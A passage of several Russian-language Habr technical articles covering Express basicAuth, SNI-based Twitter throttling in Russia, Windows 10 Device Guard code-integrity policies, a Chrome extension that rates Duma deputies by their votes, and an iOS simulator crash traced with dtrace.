var result = (user === 'testUser' && pass === 'testPass');
next(null /* error */, result);
}));
```
А если нужно ограничить доступ только к определенным url'ам — middleware можно использовать не глобально, а только в рамках роутера. То есть так:
```
var auth = express.basicAuth(function(user, pass, next) {
var result = (user === 'testUser' && pass === 'testPass');
next(null, result);
});
app.get('/home', auth, function(req, res) {
res.send('Hello World');
});
```
Если не забираться под капот — на этом можно и закончить. Тех же, кто на диаграмме Венна находится между кругами «Мне интересно, что внутри» и «Я не знаю как работает basic авторизация apache», приглашаю под кат.
basicAutn достался express в наследство от [connect](http://www.senchalabs.org/connect/basicAuth.html). Устроен он достаточно просто — когда браузер запрашивает страницу у сервера, сервер сообщает браузеру о необходимости авторизации с помощью заголовка `WWW-Authenticate`:
```
res.statusCode = 401;
res.setHeader('WWW-Authenticate', 'Basic realm="' + realm + '"');
res.end('Unauthorized');
```
В ответ на это, браузер рисует форму ввода логина и пароля, и, дождавшись, когда пользователь покончит со вводом, отправляет повторный запрос к серверу. На этот раз запрос уже будет содержать заголовок `Authorization:Basic dXNlcm5hbWU6cGFzc3dvcmQ=`, где `dXNlcm5hbWU6cGFzc3dvcmQ=` — это, ни что иное, как строка 'username:password'. В этом легко убедиться:
```
var str = new Buffer('dXNlcm5hbWU6cGFzc3dvcmQ=', 'base64').toString()
console.log(str) // выведет 'username:password'
```
Теперь браузер будет прикреплять эту строку к каждому запросу, а basicAuth будет прилежно проверять, верные ли данные пользователя указаны в запросе. Этот механизм не отличается безопасностью, но если нужно быстро и просто ограничить доступ к проекту — это вполне подойдет.
Исходный код того, что происходит внутри basicAuth можно прочитать в документации к [connect](http://www.senchalabs.org/connect/basicAuth.html). | https://habr.com/ru/post/201924/ | null | ru | null |
# О Twitter'е бедном замолвите слово
### Попытка РКН «замедлить» связь с Twitter вылилась в локальные «интернет-катаклизмы»
К сожалению, сколько-нибудь полезной технической информации о том, как именно РКН решил осуществлять то, [о чём публично заявил](https://roskomsvoboda.org/post/rkn-zamedlil-twi/), не так много. Можно даже сказать, что её практически нет. Так что остаётся только спекулировать на наблюдениях и доступных данных.
Из наблюдений на данный момент мы имеем: разрозненные «локальные» сообщения о том, что твиттер и вправду медленно открывается (или вообще не открывается). Причём похоже на то, что большинство их касается мобильного приложения.
При этом, в это же время, даже через «Ростелеком» (по проводу) твиттер и сам открывается быстро, и видео с его CDN — тоже.
Однако, некоторые проведённые нами испытания показывают, что у **некоторых** провайдеров и вправду наблюдается картина резкого ограничения скорости скачивания, если в **SNI** был указан домен, в котором **содержится** (*sic!*) текст`t.co`. Именно **содержится**. Т.е. в выборку попадают и microsof**t.co**m, и githubuserconten**t.co**m (домен, где эта соцсеть держит аватарки пользователей и всякую «мелочь») и так далее. И воспроизводится это даже если отправлять запросы на IP собственного сервера (т.е. вовсе не обязательно — самого Twitter’а).
Почему реализация такая топорная — огромный вопрос.
С одной стороны, это выглядит либо как профанация со стороны всего ведомства в целом, либо как саботаж на местах, а с другой — вполне может оказаться типичной проблемой того, что программисты исполнителя не имея представления о том, чего хочет заказчик сделали инструмент максимально нелогичным и неудобным с точки зрения заказчика. Тут я ещё раз напомню о том, что по факту никакой технической информации о том, как именно РКН осуществляет это самое замедление в публичном доступе нет. А возможных вариантов реализации — слишком много для проведения аналитики по каждому. Так что, на данный момент наша рабочая гипотеза — использование программно-аппаратных комплексов (тех самых которые провайдеров обязали устанавливать по 90-ФЗ (о суверенном интернете)), однако, насколько это помню лично я — ещё совсем недавно провайдеры дружно заявляли о том, что ни одной такой готовой «железки» до сих пор нет.
Другим кандидатом на эту роль является **СОРМ-3**, но если используется именно этот комплекс — встаёт закономерный вопрос о том, почему средства оперативно-розыскных мероприятий вдруг используются для шейпинга трафика соцсетей.
Ну и третьим кандидатом является теория о локальных «договорённостях» с конкретными провайдерами (благо, крупных федеральных по сути, всего двое: Ростелеком и Эр-Телеком. Остальные или куплены одним из них, или «слишком мелкие».
Ещё, забавным совпадением выглядит то, что совсем скоро после заявления РКН, внезапно упало большое количество сайтов государственных ведомств.
Скорее всего, это просто совпадение, но если взглянуть с теоретической точки зрения «могли ли накосячить так, чтобы получился такой эффект», мой ответ как технического специалиста — да, могли (тем более, что все, как обычно, всё отрицают). Правда, для этого нужно быть совсем уж «двоечниками». Впрочем, смотря на то, что SNI-детектор «цепляет» сайты типа `microsoft.com`, сомнений остаётся всё меньше.
Но, как я сказал уже несколько раз, не имея никакой фактической информации, остаётся только фантазировать и спекулировать. Ну и, если хочется — приплетать теории заговоров.
Например, тут вот, как раз где-то в это же время загорелся один из дата-центров OVH. Совпадение? :)
К слову, на самом деле, озвученное выше предложение не настолько шутка, как может показаться с первого взгляда.
Масштабы поражения у OVH довольно большие: один дата-центр сгорел, часть второго повреждена, третий — «в процессе борьбы между пожарными и огнём», и только четвёртый блок не тронут.
Учитывая, что OVH — один из крупнейших хостеров не только Европы, но и мира — перестройка глобальной маршрутизации в связи с пожаром и правда могла хорошенько так ударить по «работоспособности интернетов» с точки зрения обывателя. | https://habr.com/ru/post/546362/ | null | ru | null |
# Device Guard в Windows 10. Политика целостности кода
> *Автор статьи — Андрей Каптелин, участник ИТ-сообщества*
Device Guard – набор программно-аппаратных технологий защиты, доступный для устройств с Windows 10. Статья посвящена одной из компонент Device Guard – политике Code Integrity (CI). С деталями настройки и применения CI можно познакомиться [здесь](https://channel9.msdn.com/Series/Windows-10-device-protection-with-Device-Guard/01).
Назначение Device Guard
=======================
В современном мире киберугрозы развиваются очень быстро. Технологии защиты уже не поспевают за развитием вредоносных программ, как за их количеством, так и расширяющимся спектром атак.
Вирусы из забавы для одиночек переросли в организованную киберпреступность. Автоматизация и низкая стоимость сложных атак не оставляет шанса даже небольшим компаниям оставаться незамеченными.
Классическое решение основывается на трех основных условиях: установленные обновления, обновленный антивирус и отсутствие административных привилегий. Это уже давно сложившийся подход. Однако, совершенно легальная с точки зрения антивируса программа может выполнять нежелательные действия и не использовать при этом уязвимости ПО. Такой взгляд на безопасность ставит под подозрение любую программу. Уже нельзя полагаться на список сигнатур антивируса, а анализировать действия всех программ довольно трудно.
Новые угрозы требуют новых решений безопасности, и в Windows 10 они уже имеются. Одно из решений – запускать только одобренное программное обеспечение. Такой подход успешно опробован на мобильных платформах Windows и Apple. В них абсолютно все ПО проходит проверку и имеет цифровую подпись, на основании которой устройство разрешает его запуск. В Windows эту функцию обеспечивает механизм проверки целостности кода – Code Integrity (CI).
Уже на стадии запуска компьютера можно контролировать запуск программного обеспечения, подписанного доверенными сертификатами. Далее, имея список своего программного обеспечения, можно запретить запуск чего-то иного, и задача обеспечения безопасности решена. Список доверенных сертификатов, используемых для подписи исполняемых файлов, представляет собой файл-политику, которым и руководствуется операционная система.
Но мир ПО на Windows весьма разнообразен, и далеко не все программы имеют цифровые подписи, а многие не получат их никогда. Для этого механизм Code Integrity может использовать подписанные вашим сертификатом каталоги – списки файлов программы и их хэш-коды.
В итоге, для использования нового механизма, требуется создать политику, содержащую список доверенных сертификатов и хэш-коды не подписанных файлов и, при необходимости, дополнить её файлами-каталогами разрешенного программного обеспечения.
Самым простым использование Device Guard будет для новых, либо уже имеющихся рабочих мест с фиксированным списком ПО. Достаточно сформировать политику целостности кода и активировать функционал, после этого ничто постороннее не сможет запуститься на этих компьютерах.
Существует также возможность создания политик на основе нескольких возможных вариантов рабочих мест и слияние их в единую политику, назначаемую в последующем всем рабочим местам.
Для продвинутых пользователей, которые сами выбирают и устанавливают программы, достаточно режима аудита. Журнал запускаемых приложений пригодится в дальнейшем для определения нужных и ненужных программ.
Замечу, Device Guard с механизмами Code Integrity и Virtualization Based Security (VBS) доступен только в редакции Windows 10 Enterprise.
Настройка политики Code Integrity
=================================
Настройка Device Guard в пользовательском режиме (User Mode Code Integrity) наиболее близка к обычным задачам ограничения запуска программного обеспечения.
Для того чтобы создать политику Code Integrity на эталонном компьютере, потребуется создать теневую копию диска и запустить командлет сканирования файлов. В данном случае теневая копия позволяет получить процессу сканирования доступ ко всем, в том числе открытым на момент сканирования, файлам.
```
#Create a ShadowCopy to avoid locks
$s1 = (gwmi -List Win32_ShadowCopy).Create("C:\","ClientAccessible")
$s2 = gwmi Win32_ShadowCopy | ? { $_.ID -eq $s1.ShadowID }
$d = $s2.DeviceObject + "\"
cmd /c mklink /d C:\scpy "$d"
```
Полученный снимок диска, подмонтированный в папку **C:\scpy**, можно просканировать следующим командлетом:
```
New-CIPolicy -Level PcaCertificate -Fallback Hash -FilePath C:\BasePolicy.xml -ScanPath C:\scpy -UserPEs
```
Данная команда создаст список подписей (сертификатов), обнаруженных на эталонном компьютере, и посчитает хэш-коды исполняемых файлов, не имеющих подписи. Результатом будет XML-файл содержащий следующие параметры:
```
Enabled:Audit Mode
```
Опция, включающая работу модуля Code Integrity в режиме аудита, при котором все не попадающие под сформированную политику исполняемые файлы записываются в журнал аудита.
Пример обнаруженного сертификата. Все подписанные им исполняемые файлы будут выполняться без ограничений.
Пример обнаруженного файла без цифровой подписи. При совпадении хэш-кода, данный файл будет запущен.
Полученный XML-файл необходимо скомпилировать в бинарный формат и поместить в системную папку **C:\Windows\System32\CodeIntegrity\**.
```
ConvertFrom-CIPolicy C:\BasePolicy.xml C:\SIPolicy.bin
cp C:\SIPolicy.bin c:\Windows\System32\CodeIntegrity\SIPolicy.p7b
```
После перезагрузки компьютера механизм Code Integrity начнет работу в режиме аудита. Проверив запуск и работу всех необходимых программ, можно дополнить политику данными, собранными аудитом, выполнив следующую команду.
```
New-CIPolicy -Level PcaCertificate -Fallback Hash C:\AuditPolicy.xml -Audit
```
Ключ *-Audit* указывает, что необходимо создать политику на основе записей в журнале аудита.
Файл **AuditPolicy.xml** аналогичен по структуре файлу **BasePolicy.xml**, сформированному ранее.
Для объединения результатов первичного сканирования и собранной в режиме аудита информации существует команда объединения политик.
```
Merge-CIPolicy –OutputFilePath C:\Final.xml –PolicyPaths C:\ BasePolicy.xml,C:\AuditPolicy.xml
```
Чтобы включить принудительное применение политики, в полученном файле отключаем режим аудита.
```
Set-RuleOption -Option 3 -FilePath C:\Final.xml -Delete
```
В результате удаляется запись *Enabled:Audit Mode* из XML-файла, и такая политика будет блокировать всё неучтенное в ней ПО.
Далее компилируем XML-файл в бинарный формат, снова выполнив команду
```
ConvertFrom-CIPolicy C:\Final.xml C:\SIPolicy.bin
```
Распространить политику на целевые компьютеры можно как скопировав удобным способом файл SIPolicy.bin, так и воспользовавшись групповой политикой Windows 10 в разделе **Computer Configuration\Administrative Templates\System\Device Guard**.
Создание файла-каталога
=======================
Политика Code Integrity представляет собой монолитный список разрешенного программного обеспечения, что не всегда удобно. Для использования новых или обновленных программ, если их не удаётся заверить электронной подписью, можно создать файл-каталог.
Для примера возьмём программу **7zip**, для которой создадим файл каталога, содержащий как данные об дистрибутиве, так и о всех исполняемых файлах после установки дистрибутива.
Для этого на станции без активного Device Guard запустим утилиту мониторинга **PackageInspector** (входит в состав Windows 10 Enterprise), указав в качестве параметров букву диска для наблюдения и запускаемый файл дистрибутива программы.
```
.\PackageInspector.exe start C: -path c:\Distr\7z1508-x64.exe
```
По окончании установки 7zip проверяем его запуск и работу и останавливаем мониторинг командой
```
.\PackageInspector.exe stop c: -name C:\Distr\7zip.cat -cdfpath c:\Distr\7zip.cdf
```
Файл **7zip.cdf** покажет все исполняемые файлы, подвергшиеся мониторингу.
Файл **7zip.cat** содержит скомпилированную информацию для Device Guard.
Чтобы созданный файл каталога стал доверенным для Device Guard, подпишем его своей цифровой подписью.
Если у администратора уже имеется импортированный сертификат с назначением Code Sign, его можно использовать для подписи прямо из PowerShell, указав алгоритм хеширования SHA256, необходимый для Device Guard.
```
Get-ChildItem cert:\CurrentUser\My -codesign
Set-AuthenticodeSignature -HashAlgorithm SHA256 7zip-osnova.cat @(Get-ChildItem cert:\CurrentUser\My -codesign)[0]
```
Сертификат должен быть выдан доверенным центром сертификации, корневой сертификат которого был импортирован на эталонный компьютер перед созданием политики.
Далее нужно поместить сгенерированный и подписанный файл каталога на нужные компьютеры, скопировав в хранилище каталогов по пути
**C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}**
В отличие от политики, файлы каталогов применяются сразу и без перезагрузки. Теперь установка и работа 7zip на компьютере разрешена.
Более подробная документация находится на портале TechNet по адресу:
<https://technet.microsoft.com/ru-ru/library/mt463091(v=vs.85).aspx> | https://habr.com/ru/post/280332/ | null | ru | null |
# Персональный рейтинг депутатов каждому при помощи JavaScript и браузера Chrome
Скоро некоторые из нас пойдут отдавать свои голоса за очередных кандидатов в депутаты. Депутаты являются нашими представителями и им мы предоставляем право принимать некоторые законодательные решения за нас. В данных условиях логично выбирать тех кто делает свой выбор также как и мы.
Голоса депутатов находятся на [vote.duma.gov.ru](http://vote.duma.gov.ru/). Нам остаётся проголосовать за важные для нас законопроекты в соответствии со своим видением и получить рейтинг на основе которого и делать выбор на выборах.
Я выбрал наименее затратный путь и написал JavaScript расширение для Chrome. Работа с ним организованна через консоль браузера (Ctrl + Shift + J). Бонусом я протестировал поддержку русского языка в JavaScript без препроцессоров.
[Под катом](https://habrahabr.ru/post/306744/) вас ждёт код с комментариями и комментарии к статье.
[](https://habrahabr.ru/post/306744/)
В папке "vote" три файла "manifest.json", "insert.js", "script.js" в кодировке UTF-8 (без BOM).
#### Код:
**Файл "manifest.json":**
```
{
"manifest_version": 2,
"name": "Твой кандидат",
"description": "Расширение для подсчёта персонального рейтинга депутатов на vote.duma.gov.ru",
"version": "1.0",
"content_scripts": [
{
"matches": [ "http://vote.duma.gov.ru/*" ],
"js": [ "insert.js" ],
"run_at": "document_end"
}
],
"web_accessible_resources": [
"script.user.js"
]
}
```
Часть манифеста "web\_accessible\_resources" даёт доступ странице загружать и использовать перечисленные в ней файлы плагина. "script.js" это основной скрипт в котором вся логика.
Хром не даёт прямого доступа расширениям к переменным страницы. Мы внедряем свой скрипт("script.js") в саму страницу при помощи "insert.js".
**Файл "insert.js":**
```
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = chrome.extension.getURL("script.user.js");
script.async = 1;
document.head.appendChild(script);
```
**Файл "script.user.js":**
```
// ==UserScript==
// @name Твой кандидат
// @description Расширение для подсчёта персонального рейтинга депутатов на vote.duma.gov.ru
// @author ivan386
// @license MIT
// @version 1.0
// @run-at document-end
// @include http://vote.duma.gov.ru/*
// ==/UserScript==
javascript:
(function() {
'use strict';
```
```
var вывести = function( текст ){
console.log( текст );
document.querySelector( "#текст" ).innerText = текст;
};
```
```
var голосовать = function( ваш_голос )
{
if ( typeof deputiesData !== 'undefined' )
{
/* Для хранения рейтинга и остальных данных депутатов используется localStorage */
var депутаты = JSON.parse( localStorage.getItem( "депутаты" ) || "{}" );
/* В переменной deputiesData храняться голоса депутатов за текущий закнопроект и другие данные. */
deputiesData.forEach( function( депутат )
{
var ls_депутат = депутаты[ депутат.url ];
/* Восстанавливаем сохранённый рейтинг или устанавливаем 0 */
депутат.рейтинг = ( !ls_депутат ) ? 0 : ls_депутат.рейтинг;
/* Восстанавливаем статистику */
депутат.статистика = ( !ls_депутат ) ? {} : ( ls_депутат.статистика || {} );
/* Копируем имя */
депутат.имя = депутат.sortName;
/* Сохраняем статистику голосов депутатов на будущее. */
if ( typeof( депутат.статистика[ депутат.result ] ) === 'undefined' )
депутат.статистика[ депутат.result ] = 1;
else
депутат.статистика[ депутат.result ] ++;
депутат.количество = 0;
for ( var голоса in депутат.статистика )
депутат.количество += депутат.статистика[голоса];
/* У каждого депутата есть ссылка с его ID на результаты его голосования. */
/* Используем её как уникальный идентификатор. */
депутаты[ депутат.url ] = депутат;
/* Результат голосования каждого депутата лежит в переменной result */
/* Соответствия взяты из функции renderer скрипта на странице с результатами голосования на vote.duma.gov.ru. */
/* Значение -1 соответствует голосу "За" */
/* Значение 0 соответствует голосу "Воздержался" */
/* Значение 1 соответствует голосу "Против" */
/* Значение 2 соответствует голосу "Не голосовал" */
/* Меняем рейтинг депутата в соответствии с нашим выбором. */
депутат.рейтинг += ( депутат.result == ваш_голос ) ? 1 : -1;
} );
/*Сохраняем рейтинг и другие данные в localStorage */
localStorage.setItem( "депутаты" , JSON.stringify( депутаты ) );
вывести( "голос " + ( ваш_голос == -1 ? "За" : "Против" ) + " принят" );
}
else
вывести( "на странице не найдено результатов голосования депутатов за законопроект" );
};
```
```
var за = function()
{
/* Значение -1 соответствует голосу "За" */
return голосовать( -1 );
};
```
```
var против = function()
{
/* Значение 1 соответствует голосу "Против" */
return голосовать( 1 );
};
```
```
var по_рейтингу = function( список )
{
var список_по_рейтингу = [];
var вывод = [];
for ( var ключ in список )
список_по_рейтингу.push( список[ ключ ] );
список_по_рейтингу.sort( function( первый, второй )
{
/* Сортируем в порядке убывания рейтинга */
return второй.рейтинг - первый.рейтинг;
} );
список_по_рейтингу.forEach( function( элемент )
{
/* Выводим результаты в консоль */
вывод.push( элемент.имя + ": " + элемент.рейтинг + ( элемент.количество ? " (" + элемент.количество + ")" : "" ) );
} );
return вывод.join( "\n" );
};
```
```
var рейтинг_депутатов = function()
{
var депутаты = JSON.parse( localStorage.getItem( "депутаты" ) || "{}" );
вывести( по_рейтингу( депутаты ) );
};
```
```
var рейтинг_партий = function()
{
var депутаты = JSON.parse( localStorage.getItem( "депутаты" ) || "{}" );
var партии = {};
for ( var идентификатор in депутаты )
{
var депутат = депутаты[ идентификатор ];
var партия = партии[ депутат.factionCode ];
if ( партия )
{
/* Рейтинг партии складывается из рейтинга депутатов. */
партия.рейтинг += депутат.рейтинг;
партия.количество ++;
}
else
партии[ депутат.factionCode ] = { имя: депутат.faction , рейтинг: депутат.рейтинг , количество: 1 };
}
вывести( по_рейтингу( партии ) );
};
```
```
var окно = (typeof unsafeWindow === 'undefined') ? window : unsafeWindow;
document.body.insertBefore( document.createElement( "div" ) , document.body.firstChild ).innerHTML = 'Твой кандидат:\n\
За\n\
Против\n\
Рейтинг партий\n\
Рейтинг депутатов\n\
';
окно.за = за;
окно.против = против;
окно.рейтинг_депутатов = рейтинг_депутатов;
окно.рейтинг_партий = рейтинг_партий;
if ( typeof( окно.deputiesData ) !== 'undefined' )
deputiesData = окно.deputiesData;
вывести( "за() - проголосовать за\n\
против() - проголосовать против\n\
рейтинг_депутатов() - выводит текущий рейтинг депутатов в соответствии с вашими голосами\n\
рейтинг_партий() - выводит текущий рейтинг партий в соответствии с вашими голосами\n\
" );
})();
void(0);
```
#### Установка
1. Копируем папку "vote" с содержимым на локальный диск.
2. В браузере Chrome открываем "chrome://extensions/" или "Главное Меню > Дополнительные инструменты > Расширения"
3. Ставим галочку "Режим разработчика"
4. Нажимаем "Загрузить распакованное расширение..."
5. Находим и выбираем папку "vote" со скриптами.
6. Нажимаем ОК.
#### Использование
##### Голосуем
1. Заходим на страницы с голосами депутатов на [vote.duma.gov.ru](http://vote.duma.gov.ru/).
Например: <http://vote.duma.gov.ru/vote/95967> (ссылка взята [здесь](https://geektimes.ru/post/277682/#comment_9389162))
2. Открываем консоль браузера (Ctrl + Shift + J).
3.1. Если против пишем:
```
против()
```
3.2. Если за пишем:
```
за()
```
3. Нажимаем Enter
##### Получаем рейтинг
1. Заходим на любую страницу [vote.duma.gov.ru](http://vote.duma.gov.ru/).
2. Открываем консоль браузера (Ctrl + Shift + J) ещё не открыта.
3.1. Для вывода рейтинга депутатов:
```
рейтинг_депутатов()
```
3.2. Для вывода рейтинга партий:
```
рейтинг_партий()
```
3. Нажимаем Enter
Либо можно воспользоваться кнопками вверху страницы.
#### Результат
В результате каждый пользователь этого скрипта получает свой рейтинг депутатов и партий в соответствии со своим выбором и выбором депутатов.
**Пример рейтинга депутатов:**
```
Иванов Иван Иванович: 5
Петров Пётр Петрович: 0
Сидоров Владимир Владимирович: -5
```
**Пример рейтинга партий (в скобках количество депутатов):**
```
Пиастрская: 100 (10)
Фарианская: 0 (1)
АнтиПиастрская: -100 (1)
```
Все имена и события вымышлены. Совпадения случайны.
#### Заключение
Надеюсь этот скрипт поможет делать более осознанный выбор своего представителя в законодательной власти. А заодно и покажет пример написания расширения для анализа данных на государственных сайтах .
Об ошибках прошу писать в личные сообщения.
#### Источники
1. [Создаём своё расширение для Google Chrome](https://habrahabr.ru/post/198652/)
2. [Как запускать расширения Хрома не из магазина WebStore](https://habrahabr.ru/post/226063/)
3. [Учимся писать userscript'ы](https://habrahabr.ru/post/129343/)
4. [Скрипты на GitHub](https://github.com/ivan386/vote)
5. [Система анализа результатов голосований на заседаниях Государственной Думы](http://vote.duma.gov.ru/) | https://habr.com/ru/post/306744/ | null | ru | null |
# История одного Crash-а, и NSLog'а его лечившего
> *Лечу Crash'и NSLog'ами. Недорого. Многолетний опыт. 100% гарантия.*
>
>
Примерно таким заголовком можно было бы описать то, что три с половиной месяца назад происходило у меня на одном из проектов. Вернее, это даже был не мой проект, но с проблемой crash'а пришлось разбираться именно мне.
Все началось с того, что на одном из относительно больших проектов начало стабильно вываливаться исключение при авторизации пользователя. «Ну и что тут такого? У всех бывает. Проверку на *nil* забыли поставить или где-то накосячили. „Тоже, мне, большое событие — crash на проекте“, — подумает б*о*льшая часть программистов. В принципе — абсолютно согласен. Crash — не такое уж и редкое явление в программировании под iPhone, и с ним сталкиваешься по десять раз на день. Но этот был особенным. От него уже начало попахивать „магией“, когда мне сказали про его некоторые параметры и особенности:
* **Воспроизводимость на симуляторе**: 100%
* **Воспроизводимость на устройстве**: 0%
* Путь к крэшу (после локализации крэша): ~ 40 секунд
* Настройки оптимизации при компиляции (-O1,-O2...) не влияют на воспроизводимость
* XIB'ы в проекте не используются
Да выглядел он довольно безобидно:
```
// Code
UITextView * textView = [ [UITextView alloc] initWithFrame:CGRectMake(0, 150, _width, _height)];
// Exception
*** Terminating app due to uncaught exception 'CALayerInvalidGeometry',
reason: 'CALayer bounds contains NaN: [0 0; nan 200]'
```
»Ну тут же и ежу понятно, что **width** — после вычисления — NaN!", — подумал я. Бегло поглядев где и как вычисляется ширина вьюхи, и не найдя ничего особого опасного, я, для утверждения своей догадки, поставил перед созданием вьюхи *NSLog*. А вдобавок, и точку останова на строке с созданием элемента.
```
// Source:
NSLog(@"width = %f", _width);
//Output:
width = 200
```
«Гм», — подумал про себя я, и продолжил выполнение программы после точки останова. И крэша не произошло…
#### Тестовый проект, в котором воспроизводится данный Crash
Для тех людей, которым интересно самим поглядеть на этого зверя — тестовый проект лежит [у меня](https://dl.dropbox.com/u/45054714/CrashExample.zip).
Воспроизводится исключительно на iOS Simulator'е, Версия SDK 5.1 ( На SDK 6+ не воспроизводится, но если найдутся добрые люди, которые воспроизведут — пишите в личку, разместим)
Если Вы еще думаете, что здесь что-то тривиальное, тогда — спокойно читайте дальше. Когда дойдем до интересностей, я остановлюсь, и сделаю предупреждение про спойлеры.
#### What have I done?
Если подумать логически, то все становится ясно. Раз crash пропал, то это потому, что я что-то поменял (т.к. до этого воспроизводимость была 100%). Вопрос оставался только в том, что *именно* изменилось.
1. Я добавил немного кода перед созданием вьюхи
2. Я добавил NSLog
3. Я приостановил поток
4. Я доступился к переменной класса **\_width**, перед передачей ее как параметр
5. ....
> Если у Вас еще есть идеи, что я мог поменять — можете записать. Потом сверитесь, были ли догадки верны. Но, скорее всего — вряд ли ;)
Все пункты достаточно легко проверялись. Я убрал все изменения и начал эксперементировать.
###### Я приостановил поток
Идея тут достаточно проста. Скорее всего — ошибка возникает из-за многопоточности.
Это было проверить легче всего, я поставил точку останова без *NSLog*'a. Код продолжал crash'иться, с теми же 100%.
###### Я доступился к переменной класса \_width или Я добавил немного кода перед созданием вьюхи
Идея этих пунктов — в «особенностях» генерации кода, которые, чудесным образом, могли привести к непредвиденным последствиям.
Никакие танцы с бубном и дополнительные, случайным образом сгенерированные, строки кода с доступом к переменной **\_width**, не давали результата. Приложение стабильно падало.
###### Я добавил NSLog
«Нет, ну Вы же несерьезно, правда?»
Оказалось серьезно. *NSLog* продолжал «лечить» крэш. Стабильно. Вне зависимости от передаваемых ему параметров. Обнаружились еще замечательные особенности. Приложение продолжало падать, даже если не использовать **\_width**, **\_height** как параметры. Без *NSLog*'а любое значение, передаваемое в *-(id)initWithFrame:*, приводило к падению приложения с той же ошибкой. Кроме всего прочего, оказалось, что совсем не обязательно ставить *NSLog* прямо перед созданием вьюхи. Его можно поставить в самом начале метода, где создавалась вьюха… или в методе, который вызвал этот метод… или даже в методе, который вызвал метод, который вызвал..., ну Вы поняли, в общем. Главное — чтобы перед созданием.
#### Success!
На этом все и закончилось. Проблема была «решена». Блокер устранен, и ничто не мешает спокойно тестировать приложение на симуляторе. А еще, было очень много работы, которую нужно было сделать, и мне пришлось на нее переключиться.
#### А решена ли проблема?
Этот вопрос мне не давал покоя несколько вечеров, пока я заканчивал основной проект. Решена ли проблема, или «лечилка» с *NSLog*'ом просто убрала симптомы какой-то более крупной проблемы, которая затаилась и ждет, пока проект уйдет в релиз? И тогда, когда все про нее забудут, и для ее фикса нужно будет ждать неделю сабмита в AppStore, она и проявится и начнет все ломать и крушить, только уже не на симуляторе?
#### Магия?
С одной стороны я понимал, что проблемы именно в моем коде. И, скорее всего, это не ошибка библиотеки *UIKit*. Знакомые программисты, так и говорили — ищи проблему в своем коде. И я с ними был согласен. Но как ее искать? Проект немаленький, попытки локализировать проблему в несколько строк — проваливаются. Хотелось все бросить, сказать «магия», и забить. И жить с ощущением магии в проекте. А то, ведь, если знаешь, как работает магия — теряется всякий интерес, все становится обыденно, согласно документации.
Все же, интерес к причине проблемы переосилил, и я стал копать. К этому времени мои идеи крутились вокруг желания понять: так что же все-таки такого интересного делает *NSLog*, и как он «лечит» падение программы? Вариантов было много как у меня, так и в локальном чате девелоперов. В конце концов сошлись на том, что наиболее вероятной причиной *crash*'а являются проблемы со *stack*'ом. Это передположение не объясняло причину стабильной работы на устройствах, но нужно было с чего-то начинать. Но до того, как я начал смотреть в сторону stack'а, я попробовал понять, где, все-таки возникает этот *NaN?*. Как раз в то время, знакомый [darkproger](https://habrahabr.ru/users/darkproger/) активно рассказывал направо и налево, насколько крутая штука [dtrace](http://dtrace.org/blogs/). И через несколько часов, с помощью этого инструмента, мне удалось немного сократить область поиска причины падения.
#### Dtrace magic
На тот момент, все что у меня было — это *stacktrace* до места падения. Проблема была где-то внутри него, ну или что-то приводило к тому, что все это благополучно падало.
```
#4 0x01d8b04a in -[CALayer setBounds:] () <---- NaN lives here
#5 0x02d1d714 in WebCore::TileGrid::updateHostLayerSize() ()
#6 0x02d1af26 in WebCore::TileCache::TileCache(WAKWindow*) ()
#7 0x02d52507 in -[WAKWindow initWithLayer:] ()
#8 0x002ee5e9 in -[UIWebTiledView initWithFrame:] ()
#9 0x001af9b5 in -[UIWebDocumentView initWithWebView:frame:] ()
#10 0x001af89e in -[UIWebDocumentView initSimpleHTMLDocumentWithStyle:frame:preferences:groupName:] ()
#11 0x0012cb6a in -[UITextView commonInitWithWebDocumentView:isDecoding:] ()
#12 0x0012bf0e in -[UITextView initWithFrame:] ()
```
С помощью относительно простого [скрипта для dtrace](http://pastie.org/5500029) удалось узнать, в каком месте появляется злополучный *NaN*. Оказалось, что параметры «теряются» аж под самый под конец:
```
QuartzCore`-[CALayer setBounds :] <------ (0, 0, NaN, height)
WebCore`WebCore::TileGrid::updateHostLayerSize()+0x140
WebCore`WebCore::TileCache::TileCache(WAKWindow*)+0x1c6
WebCore`-[WAKWindow initWithLayer:]+0xd7
UIKit`-[UIWebTiledView initWithFrame:]+0xec " <------ (0, 0, width, height)"
UIKit`-[UIWebDocumentView initWithWebView:frame:]+0xb5
UIKit`-[UIWebDocumentView initSimpleHTMLDocumentWithStyle:frame:preferences:groupName:]+0xfe
UIKit`-[UITextView commonInitWithWebDocumentView:isDecoding:]+0x198
UIKit`-[UITextView initWithFrame:]+0x70 " <------ (0, 0, width, height)"
```
Что делать? По всей видимости проблема не в нашем коде! С повышенным чувством собственной важности, я уже готовлюсь высылать баг-репорт в Apple. И лезу-таки смотреть, как там поживает *stack*.
#### Spoiler alert!
Если Вы все-таки собирались решить эту задачку сами, то самое время перестать читать эту статью ;)
Для тех, кто собирается разобраться в ней сам, и думает что проблемы заключаются в работе со стэком, или наоборот, думают, что проблемы вообще не связаны со стэком, небольшой спойлер**Не читай меня!**Проблема совсем не связана со стэком\*
#### Stack troubles?
Как в Xcode'е посмотреть, что на текущий момент творится в стэке? Какие параметры передаются в функцию? Как они передаются и по каким правилам? И через стэк ли?
Это всего лишь малая часть вопросов, на которые на тот момент у меня не было ответов, но снова помог[darkproger](https://habrahabr.ru/users/darkproger/)(вообще Вова очень прилежно и терпеливо выслушивал, или делал вид, что выслушивал, все мои бредовые и не очень идеи причин и следствий ;), ткнув меня носом в весьма и весьма полезную [документацию](http://developer.apple.com/library/mac/#technotes/tn2124/_index.html). А если быть конкретнее, то [в конкретную ее часть](http://developer.apple.com/library/mac/#technotes/tn2124/_index.html#//apple_ref/doc/uid/DTS10003391-CH1-SECINTEL32). После беглого прочтения техноутов, мне удалось отобразить содержимое стэка.
Однако эти данные никак не помогли моему пониманию происходящего. Дело в том, что стэк был идентичен в обоих случаях. Никакой разницы. Все значения в памяти были абсолютно одинаковыми и стэковые регистры ссылались на одни и те же адреса памяти. Проверил несколько раз, перезапускал приложение, проверял адреса памяти ±. Все совпадало.
#### What's next?
Как я уже говорил, совпадали все значения в адресах памяти. Но что-то все-таки отличалось. Что-то было другим. Правда, поиск этого «чего-то» временно отошел на второй план — я нашел злополучный *NaN*.
